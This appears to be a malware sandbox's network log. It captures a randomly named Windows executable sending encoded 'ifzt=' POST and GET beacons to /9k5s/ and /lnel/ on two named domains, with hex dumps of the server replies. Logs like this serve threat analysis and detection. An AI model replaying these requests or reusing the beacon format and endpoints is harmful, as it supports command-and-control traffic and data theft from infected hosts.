Nov 25, 2024 09:45:26.212435961 CET	10903	OUT	POST /9k5s/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.sankan-fukushi.info Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 10301 Origin: http://www.sankan-fukushi.info Referer: http://www.sankan-fukushi.info/9k5s/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 47 4a 56 42 79 45 71 6c 5a 58 30 2f 55 31 43 4d 6f 65 61 33 78 4b 45 4c 5a 74 69 4e 37 54 31 39 7a 69 6a 4a 66 56 75 62 6c 73 75 50 57 37 54 48 63 53 62 64 42 50 43 66 4b 41 39 73 4d 32 38 37 69 38 6c 53 31 67 63 48 4e 43 6d 51 6a 41 33 31 73 30 70 6d 63 31 6a 4b 36 48 68 35 39 49 48 65 68 4b 2b 4f 72 6a 79 44 33 58 31 41 57 34 7a 37 76 78 31 65 73 56 39 5a 50 70 6e 74 64 4e 32 31 46 63 70 44 38 42 45 6b 74 58 39 52 31 49 70 35 61 71 79 58 57 70 6e 4e 43 6d 30 52 53 63 48 45 59 77 39 75 62 5a 5a 41 69 50 34 48 77 55 31 6e 45 2b 32 32 4d 55 79 75 66 78 56 67 64 32 57 33 57 51 79 4c 51 39 47 4a 45 31 67 58 76 6f 41 2b 6b 4f 4c 70 47 31 76 71 42 63 6b 4a 66 46 49 4f 69 65 2f 6a 72 4a 65 64 77 6b 39 68 4a 79 65 71 64 47 62 48 61 44 35 54 48 48 7a 63 69 7a 34 4a 5a 6d 31 69 6b 45 64 76 4e 38 58 59 58 4c 78 47 71 72 52 56 77 43 64 50 63 33 36 71 43 73 58 30 62 73 35 71 42 38 63 6a 35 55 65 37 53 6d 6a 63 53 79 6c 33 50 47 56 58 7a 41 46 44 55 71 74 4c 65 6e 61 33 61 6d 54 51 53 4c 2f 6a 62 [TRUNCATED] Data Ascii: ifzt=GJVByEqlZX0/U1CMoea3xKELZtiN7T19zijJfVublsuPW7THcSbdBPCfKA9sM287i8lS1gcHNCmQjA31s0pmc1jK6Hh59IHehK+OrjyD3X1AW4z7vx1esV9ZPpntdN21FcpD8BEktX9R1Ip5aqyXWpnNCm0RScHEYw9ubZZAiP4HwU1nE+22MUyufxVgd2W3WQyLQ9GJE1gXvoA+kOLpG1vqBckJfFIOie/jrJedwk9hJyeqdGbHaD5THHzciz4JZm1ikEdvN8XYXLxGqrRVwCdPc36qCsX0bs5qB8cj5Ue7SmjcSyl3PGVXzAFDUqtLena3amTQSL/jbMWC9Lh4432GRY4H7M9wEpmdA22rOQEQXkhdGFnKOFbNhCyo6y0YRvXnAchd+olNi8qcMPwY1A05GIWKW8aK6u1y046WFMBL6nLvWPltP5MKaWnOYZeQpvnaU3sdwOKWWCepYs94TwIVjmvzEF2AR3SU+q+ptB1SeX0FiBwqmPaZkNNmB+UxH6glmbS1K5+M+qxD/5qGaT6nCqVeWqSQFyluzkqBypEI9P3qWyYuz9vrG+bK3uX4obgcUVZ9uJXaiQGihx6EPv14vTxgqzTAnVz9mEd8JQ7RgLm2dHRQTF8Z/pFHWzpCg8DRoI1VwLI/ccuzbx3TYmmzAHRgnWZAOp2uQ4fONOgfYbfr56TO4YyjPDH1kfEc65a6ivcCxn4i/f3Hgg7LQ1TOd0rS5TNK2tRWAfDw4IHmz6VroDZZL19vWikJ8V19J+bCvs7+lM8p4TanUyf2jUyj/ia5//dBusjozU3UMgeU38IaxI2JHF0QuIZ5VpIhEWCLXnmlqhU6gGUJPo6eN9xkKToJG0c96cL1JFaS2tO0DCGl8tBXr3tG5eXjWavBB6oa2H8nKADMtE2d6GNigDmT+VoJJO+/I15lQ2qx5cTTjPaIOeBOiW1A8w/vdDYtJK7v4n25qE0lhn7xX3DYM1lX4T1MIkdoc85F8KYRO84UthV [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	50051	163.44.185.183	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:45:28.870351076 CET	523	OUT	GET /9k5s/?ifzt=LL9hxxOEAXNrd1/9gf6rhKwJTveb5Fl2+AbaSF/ioM6ycsHwCgOlWdWUKzBQGlsNiYd2kWB7LHmLrDvgpCIhDnf37DhA8cnF96i4zyTZqkB+X7XYpxBXm1Q=&qX=qP0hoZO0bjg4 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Host: www.sankan-fukushi.info Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36
Nov 25, 2024 09:45:30.299025059 CET	1236	IN	HTTP/1.1 404 Not Found Date: Mon, 25 Nov 2024 08:45:30 GMT Content-Type: text/html Content-Length: 19268 Connection: close Server: Apache Last-Modified: Tue, 25 Jan 2022 07:25:35 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 62 6f 64 79 2c 68 31 2c 70 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 62 6f 64 79 2c 68 74 6d 6c 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="ja"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>404 Error - Not Found</title> <style> html,body,h1,p { margin: 0; padding: 0; } body,html { height: 100%; text-align: center; font-family: -apple-system, BlinkMacSystemFont, YakuHanJP, Helvetica, , "Hiragino Sans", " ProN W3", "Hiragino Kaku Gothic ProN", Verdana, Meiryo, sans-serif; background: #fff; color: #403230; } .container { padding: 60px 30px; } @media screen and (min-width: 640px) { .container { padding: 100px 30px; } } h1 { letter-spacing: 0.05em; font-size: 2.4rem; margin-bottom: 20px; } a { color: #147EF0; } .lol-error-page__caption { text-align: center; font-size: 1rem; [TRUNCATED]
Nov 25, 2024 09:45:30.299062967 CET	404	IN	Data Raw: 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 37 32 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 2e 6c 6f 6c 2d 65 72 72 6f 72 2d 70 61 67 65 5f 5f 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a Data Ascii: line-height: 1.72; } .lol-error-page__information { display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-justify-content: center; -ms-flex-pack: center; jus
Nov 25, 2024 09:45:30.299082994 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 77 72 61 70 3a 20 77 72 61 70 3b 0a 20 20 20 20 20 20 20 20 20 20 66 6c 65 78 2d 77 72 61 70 3a 20 77 72 61 70 3b 0a 20 20 20 20 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 36 34 30 Data Ascii: -ms-flex-wrap: wrap; flex-wrap: wrap; max-width: 640px; margin: 20px auto; } @media screen and (min-width: 640px) { .lol-error-page__information { -webkit-flex-wrap: nowrap;
Nov 25, 2024 09:45:30.299096107 CET	1236	IN	Data Raw: 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 31 3b 0a 20 20 20 20 20 20 20 20 62 6f 74 74 6f 6d 3a 20 2d 38 70 78 3b 0a 20 20 20 20 20 20 20 20 6c 65 66 74 3a 20 63 61 6c 63 28 Data Ascii: position: absolute; z-index: 1; bottom: -8px; left: calc(50% - 10px); display: block; width: 0; content: ''; border-width: 10px 8px 0; border-style: solid; border-color:
Nov 25, 2024 09:45:30.299107075 CET	448	IN	Data Raw: 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 36 34 30 70 78 29 20 7b 0a 20 20 20 20 20 20 20 20 2e 6c Data Ascii: margin: auto; } @media screen and (min-width: 640px) { .lol-error-page__ad-banner-holizontal { display: inline; float: left; } } .lol-error-page__ad-banner-holizontal-right {
Nov 25, 2024 09:45:30.299118042 CET	1236	IN	Data Raw: 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 2f 2f 20 e3 82 b3 e3 83 94 e3 83 bc e3 83 a9 e3 82 a4 e3 83 88 0a 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 73 65 74 43 6f 70 79 72 69 67 68 74 73 20 28 29 20 7b 0a 20 20 20 20 09 Data Ascii: "text/javascript"> // function setCopyrights () { document.write('copyright(c)2001-' + ' <a href="https://pepabo.com/" target="_blank">GMO</a> all rights reserved'); } </script><
Nov 25, 2024 09:45:30.299141884 CET	1236	IN	Data Raw: 37 34 2d 32 31 2e 34 33 31 2d 31 31 2e 32 35 33 20 30 2d 31 39 2e 39 33 33 20 33 2e 32 38 31 2d 32 35 2e 38 35 39 20 39 2e 39 2d 32 2e 37 32 37 20 33 2e 31 35 32 2d 34 2e 37 36 36 20 36 2e 38 33 39 2d 35 2e 39 38 36 20 31 30 2e 38 32 34 2e 33 30 Data Ascii: 74-21.431-11.253 0-19.933 3.281-25.859 9.9-2.727 3.152-4.766 6.839-5.986 10.824.308-4.858 1.955-9.536 4.759-13.515z"/><path fill="#fff" d="M23.693 42.593h-.4c-2.993.166-4.34 1.505-3.966 8.293-.007 2.101.415 4.181 1.238 6.114.696 1.315 2.18 2.0
Nov 25, 2024 09:45:30.299154997 CET	1236	IN	Data Raw: 39 2d 37 2e 33 36 2d 2e 33 30 34 2d 2e 36 37 2d 2e 39 38 36 2d 31 2e 30 38 38 2d 31 2e 37 32 31 2d 31 2e 30 35 34 2d 31 34 2e 34 2e 36 39 32 2d 32 38 2e 32 35 33 2d 33 2e 35 36 37 2d 33 33 2e 37 31 35 2d 31 30 2e 33 32 35 2d 2e 35 37 2d 2e 37 30 Data Ascii: 9-7.36-.304-.67-.986-1.088-1.721-1.054-14.4.692-28.253-3.567-33.715-10.325-.57-.708-1.58-.876-2.349-.391-6.87 4.196-11.795 10.946-13.693 18.769-.787-.194-1.6-.266-2.409-.211-8.006.467-7.482 8.624-7.333 12.04-.001 2.658.581 5.283 1.706 7.691 1.
Nov 25, 2024 09:45:30.299166918 CET	1236	IN	Data Raw: 63 2d 2e 30 31 31 20 32 2e 30 39 38 2d 2e 34 34 39 20 34 2e 31 37 32 2d 31 2e 32 38 37 20 36 2e 30 39 35 2d 2e 37 31 38 20 31 2e 32 38 39 2d 32 2e 31 39 35 20 31 2e 39 35 36 2d 33 2e 36 33 36 20 31 2e 36 34 31 2d 2e 36 34 37 2e 30 33 37 2d 31 2e Data Ascii: c-.011 2.098-.449 4.172-1.287 6.095-.718 1.289-2.195 1.956-3.636 1.641-.647.037-1.286-.161-1.8-.557v-.075c1.028-3.526 1.556-7.178 1.571-10.851.003-1.479-.08-2.956-.25-4.425.355-.125.731-.181 1.107-.166h.449c1.474-.126 2.856.731 3.4 2.107.57 2.
Nov 25, 2024 09:45:30.299173117 CET	1236	IN	Data Raw: 2d 31 2e 36 30 32 20 31 2e 30 39 35 6c 2d 2e 30 31 33 2e 30 36 7a 22 2f 3e 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 66 66 66 22 20 64 3d 22 4d 35 36 2e 33 39 20 36 34 2e 39 37 33 6c 2d 34 2e 31 31 35 20 31 2e 34 36 2d 34 2e 31 31 35 2d 31 2e 35 22 Data Ascii: -1.602 1.095l-.013.06z"/><path fill="#fff" d="M56.39 64.973l-4.115 1.46-4.115-1.5"/><path fill="#f60" d="M52.26 68.239c-.209.001-.417-.035-.614-.105l-4.115-1.5c-.917-.361-1.38-1.387-1.043-2.313.337-.926 1.351-1.416 2.285-1.103l3.5 1.279 3.517-
Nov 25, 2024 09:45:30.419013023 CET	1236	IN	Data Raw: 32 33 2d 31 2e 37 32 34 6c 2d 2e 34 34 32 2d 2e 37 33 36 2d 2e 32 31 34 2d 2e 33 36 35 2d 2e 34 33 31 2d 2e 37 34 38 63 2d 31 2e 32 39 39 2d 32 2e 33 36 37 2d 32 2e 34 31 36 2d 34 2e 38 33 2d 33 2e 33 34 32 2d 37 2e 33 36 36 2d 31 2e 38 37 36 2d Data Ascii: 23-1.724l-.442-.736-.214-.365-.431-.748c-1.299-2.367-2.416-4.83-3.342-7.366-1.876-5.242-3.133-10.686-3.746-16.22l1.927-.47 2.274 5.9c.088.224.271.396.5.47l.241.038c.153 0 .302-.044.43-.128l10.472-6.891 3.85-2.511 3.917 2.608 10.428 6.984c.129.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50052	217.160.0.200	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:45:36.356439114 CET	786	OUT	POST /lnel/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.carsten.studio Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 201 Origin: http://www.carsten.studio Referer: http://www.carsten.studio/lnel/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 63 67 7a 49 35 72 37 66 72 7a 38 4b 31 56 32 35 36 45 6f 68 62 53 59 7a 55 52 6f 6d 45 35 6e 61 6f 6b 6f 78 52 46 4f 55 63 61 42 33 44 50 38 73 2f 73 69 41 55 77 73 45 48 70 6f 32 58 49 48 67 55 53 62 74 39 65 32 4d 6b 58 54 6f 77 79 55 68 41 2f 68 4d 4d 71 78 7a 6a 54 56 52 38 6f 71 73 6f 54 43 6d 41 70 61 7a 71 4e 6b 62 51 7a 4c 4f 59 61 48 72 70 44 79 53 59 30 39 70 58 55 77 50 41 32 70 48 70 7a 38 65 32 68 33 4f 33 30 59 68 33 46 6e 52 4d 59 52 6d 4c 62 6e 4e 64 74 73 46 4b 4f 2f 61 53 38 52 51 55 5a 56 5a 4b 64 69 72 30 4e 54 67 4f 64 78 59 39 63 45 62 75 30 52 55 75 51 3d 3d Data Ascii: ifzt=cgzI5r7frz8K1V256EohbSYzURomE5naokoxRFOUcaB3DP8s/siAUwsEHpo2XIHgUSbt9e2MkXTowyUhA/hMMqxzjTVR8oqsoTCmApazqNkbQzLOYaHrpDySY09pXUwPA2pHpz8e2h3O30Yh3FnRMYRmLbnNdtsFKO/aS8RQUZVZKdir0NTgOdxY9cEbu0RUuQ==
Nov 25, 2024 09:45:37.664650917 CET	1236	IN	HTTP/1.1 200 OK Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Mon, 25 Nov 2024 08:45:37 GMT Server: Apache Content-Encoding: gzip Data Raw: 37 61 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 58 6d 6f db 36 10 fe 3e 60 ff 81 73 b1 60 03 24 5a 6f 96 e4 97 04 c8 9a 0c 29 d0 ac 7b 29 02 6c df 68 89 b2 b4 c9 a2 21 d2 76 d2 61 ff 7d cf 91 72 e2 64 dd d6 26 6d 7c 92 c8 bb e3 3d 77 c7 d3 51 8b af 2e de bd 7e ff eb 8f 97 ac 36 eb f6 ec cb 2f 16 c3 95 b1 45 2d 45 89 11 86 7f 0b d3 98 56 9e fd f2 fe e7 f3 f7 ef 98 cf 2e d4 5a 34 1d eb a5 96 fd 4e 96 8b b1 9b 27 e6 c5 f8 5e 6e b1 54 e5 1d d3 e6 ae 95 a7 a3 a5 28 fe 58 f5 6a db 95 7e a1 5a d5 cf d8 ab aa aa e6 ac 52 9d f1 2b b1 6e da bb 19 7b b7 91 1d fb 45 74 da 63 1a d4 87 fa 06 3c 1b 51 96 4d b7 9a b1 60 ce d6 a2 5f 35 1d dd 8e 06 e3 18 73 46 62 ed b2 d9 fd d7 7a 71 85 ff 47 ea 92 60 73 4b 3a f7 4d 69 ea 19 0b 83 e0 eb 23 ad 8f f5 1d 78 26 90 39 58 e1 b7 b2 32 33 26 b6 46 dd 0f f5 cd aa 3e 8c 8d ce 16 82 d5 bd ac 4e 47 b5 31 1b 3d 1b 8f f7 fb 3d d7 a6 17 46 f1 52 8e e0 c1 f6 74 d4 a9 4a b5 ad da 8f ee 6d 57 7d 29 e1 a1 63 8c b0 46 ef 56 ec 76 dd 76 da a9 1b b4 ed 63 ae fa d5 38 0a 82 60 0c 8e 11 db [TRUNCATED] Data Ascii: 7a3Xmo6>`s`$Zo){)lh!va}rd&m\|=wQ.~6/E-EV.Z4N'^nT(Xj~ZR+n{Etc<QM`_5sFbzqG`sK:Mi#x&9X23&F>NG1==FRtJmW})cFVvvc8`5r=,`$cRVlarUWU,N8X/6h9buDgI^'<U4I/Nxe7Q'&x3y^~18#{#C3gL]:S#>-'d"C#!] {ctkY2/Hx1ai#'d:BBaAIgC@$mEz&30H\|b+&8aiQk%4@@&Lj:`%r@j?<'Xd,M)`AXKHXRk'lu3E^$Cs,<^6OX"qTA%TV@dKa&t2!J%Ps,\O)Mcp^MsH~ajOY^CH(;(vQXdHJ^)EYBdNlVr@"2o1\|@qzj1"x$)a*9EQ7{fumeHL<'+A, alhD4_C)LyT/4tP6Sy/nI,XH~% [TRUNCATED]
Nov 25, 2024 09:45:37.664778948 CET	899	IN	Data Raw: 48 7c e8 87 12 4a b6 70 ed 03 80 8f 42 9b 62 45 0a 45 94 d6 13 9e fe b6 8e 26 e4 0c 4a c3 cf d9 30 61 f4 af 39 65 37 1f cc fe c4 1d 03 00 8f 77 0c 44 61 cf a4 c6 d6 fb 9c 1d b3 8e 00 1a 25 98 9c 6f 4b a8 9f 78 31 76 c7 04 34 b6 d5 12 86 d1 6e c5 Data Ascii: H\|JpBbEE&J0a9e7wDa%oKx1v4nX(3RlCTBhp=5j!Q=Ha9dGSJ=RC=C%HK#;5lL1=TI>5$u`4O"/Ij(X&AQz.}7JQd+EI?2.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	50053	217.160.0.200	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:45:39.011440039 CET	806	OUT	POST /lnel/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.carsten.studio Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 221 Origin: http://www.carsten.studio Referer: http://www.carsten.studio/lnel/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 63 67 7a 49 35 72 37 66 72 7a 38 4b 32 30 47 35 34 6e 77 68 64 79 59 30 4a 68 6f 6d 4f 5a 6e 57 6f 6b 6b 78 52 48 69 45 63 6f 56 33 4e 4d 6f 73 2b 74 69 41 56 77 73 45 4e 4a 6f 7a 54 49 48 6e 55 53 48 66 39 62 65 4d 6b 58 48 6f 77 33 77 68 41 4f 68 4c 4e 36 78 78 6c 54 56 54 68 59 71 73 6f 54 43 6d 41 70 4f 56 71 4f 55 62 51 48 50 4f 5a 37 48 73 33 54 79 54 66 30 39 70 54 55 77 4c 41 32 70 35 70 33 31 31 32 69 44 4f 33 77 63 68 33 55 6e 53 58 6f 52 67 46 37 6d 34 4c 73 4d 49 54 74 57 6b 61 4e 30 31 62 36 70 50 47 37 76 78 6c 38 79 33 63 64 56 72 67 62 4e 76 6a 33 73 64 31 55 64 55 49 71 56 33 6c 42 51 66 36 49 77 64 34 38 7a 52 78 45 77 3d Data Ascii: ifzt=cgzI5r7frz8K20G54nwhdyY0JhomOZnWokkxRHiEcoV3NMos+tiAVwsENJozTIHnUSHf9beMkXHow3whAOhLN6xxlTVThYqsoTCmApOVqOUbQHPOZ7Hs3TyTf09pTUwLA2p5p3112iDO3wch3UnSXoRgF7m4LsMITtWkaN01b6pPG7vxl8y3cdVrgbNvj3sd1UdUIqV3lBQf6Iwd48zRxEw=
Nov 25, 2024 09:45:40.365125895 CET	1236	IN	HTTP/1.1 200 OK Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Mon, 25 Nov 2024 08:45:40 GMT Server: Apache Content-Encoding: gzip Data Raw: 37 61 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 58 6d 6f db 36 10 fe 3e 60 ff 81 73 b1 60 03 24 5a 6f 96 e4 97 04 c8 9a 0c 29 d0 ac 7b 29 02 6c df 68 89 b2 b4 c9 a2 21 d2 76 d2 61 ff 7d cf 91 72 e2 64 dd d6 26 6d 7c 92 c8 bb e3 3d 77 c7 d3 51 8b af 2e de bd 7e ff eb 8f 97 ac 36 eb f6 ec cb 2f 16 c3 95 b1 45 2d 45 89 11 86 7f 0b d3 98 56 9e fd f2 fe e7 f3 f7 ef 98 cf 2e d4 5a 34 1d eb a5 96 fd 4e 96 8b b1 9b 27 e6 c5 f8 5e 6e b1 54 e5 1d d3 e6 ae 95 a7 a3 a5 28 fe 58 f5 6a db 95 7e a1 5a d5 cf d8 ab aa aa e6 ac 52 9d f1 2b b1 6e da bb 19 7b b7 91 1d fb 45 74 da 63 1a d4 87 fa 06 3c 1b 51 96 4d b7 9a b1 60 ce d6 a2 5f 35 1d dd 8e 06 e3 18 73 46 62 ed b2 d9 fd d7 7a 71 85 ff 47 ea 92 60 73 4b 3a f7 4d 69 ea 19 0b 83 e0 eb 23 ad 8f f5 1d 78 26 90 39 58 e1 b7 b2 32 33 26 b6 46 dd 0f f5 cd aa 3e 8c 8d ce 16 82 d5 bd ac 4e 47 b5 31 1b 3d 1b 8f f7 fb 3d d7 a6 17 46 f1 52 8e e0 c1 f6 74 d4 a9 4a b5 ad da 8f ee 6d 57 7d 29 e1 a1 63 8c b0 46 ef 56 ec 76 dd 76 da a9 1b b4 ed 63 ae fa d5 38 0a 82 60 0c 8e 11 db [TRUNCATED] Data Ascii: 7a3Xmo6>`s`$Zo){)lh!va}rd&m\|=wQ.~6/E-EV.Z4N'^nT(Xj~ZR+n{Etc<QM`_5sFbzqG`sK:Mi#x&9X23&F>NG1==FRtJmW})cFVvvc8`5r=,`$cRVlarUWU,N8X/6h9buDgI^'<U4I/Nxe7Q'&x3y^~18#{#C3gL]:S#>-'d"C#!] {ctkY2/Hx1ai#'d:BBaAIgC@$mEz&30H\|b+&8aiQk%4@@&Lj:`%r@j?<'Xd,M)`AXKHXRk'lu3E^$Cs,<^6OX"qTA%TV@dKa&t2!J%Ps,\O)Mcp^MsH~ajOY^CH(;(vQXdHJ^)EYBdNlVr@"2o1\|@qzj1"x$)a*9EQ7{fumeHL<'+A, alhD4_C)LyT/4tP6Sy/nI,XH~% [TRUNCATED]
Nov 25, 2024 09:45:40.365235090 CET	899	IN	Data Raw: 48 7c e8 87 12 4a b6 70 ed 03 80 8f 42 9b 62 45 0a 45 94 d6 13 9e fe b6 8e 26 e4 0c 4a c3 cf d9 30 61 f4 af 39 65 37 1f cc fe c4 1d 03 00 8f 77 0c 44 61 cf a4 c6 d6 fb 9c 1d b3 8e 00 1a 25 98 9c 6f 4b a8 9f 78 31 76 c7 04 34 b6 d5 12 86 d1 6e c5 Data Ascii: H\|JpBbEE&J0a9e7wDa%oKx1v4nX(3RlCTBhp=5j!Q=Ha9dGSJ=RC=C%HK#;5lL1=TI>5$u`4O"/Ij(X&AQz.}7JQd+EI?2.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	50054	217.160.0.200	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:45:41.680648088 CET	10888	OUT	POST /lnel/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.carsten.studio Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 10301 Origin: http://www.carsten.studio Referer: http://www.carsten.studio/lnel/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 63 67 7a 49 35 72 37 66 72 7a 38 4b 32 30 47 35 34 6e 77 68 64 79 59 30 4a 68 6f 6d 4f 5a 6e 57 6f 6b 6b 78 52 48 69 45 63 6f 4e 33 4e 2b 77 73 2f 4f 4b 41 54 41 73 45 4c 35 6f 79 54 49 48 36 55 53 4f 57 39 62 53 6d 6b 55 2f 6f 78 52 73 68 4c 61 4e 4c 45 36 78 78 70 7a 56 65 38 6f 71 35 6f 53 79 71 41 70 65 56 71 4f 55 62 51 42 6a 4f 51 4b 48 73 31 54 79 53 59 30 39 31 58 55 77 6e 41 32 52 32 70 33 35 44 32 55 7a 4f 35 77 4d 68 77 6d 2f 53 62 6f 52 69 51 37 6d 67 4c 73 42 49 54 74 4c 56 61 4e 42 65 62 39 42 50 47 2b 57 31 34 4e 57 75 46 65 31 59 38 59 68 52 67 52 73 47 36 47 6c 44 5a 71 78 74 37 68 4d 48 37 36 70 61 6e 5a 72 52 71 6a 52 73 52 54 44 54 30 44 7a 43 41 76 66 74 4c 4e 39 6c 6c 50 77 30 67 74 59 57 6a 67 4d 78 7a 31 35 36 32 61 75 4e 77 35 32 4c 72 78 55 35 72 79 2f 56 53 75 51 38 61 62 76 38 41 76 2b 37 32 38 73 65 4a 4f 31 63 4a 77 72 33 70 42 5a 30 36 50 71 4d 4c 67 5a 53 79 36 55 74 6f 57 2b 45 52 79 41 68 4e 71 6b 44 59 77 76 4e 6e 5a 73 48 38 6b 6f 57 61 47 6c 6c 49 [TRUNCATED] Data Ascii: 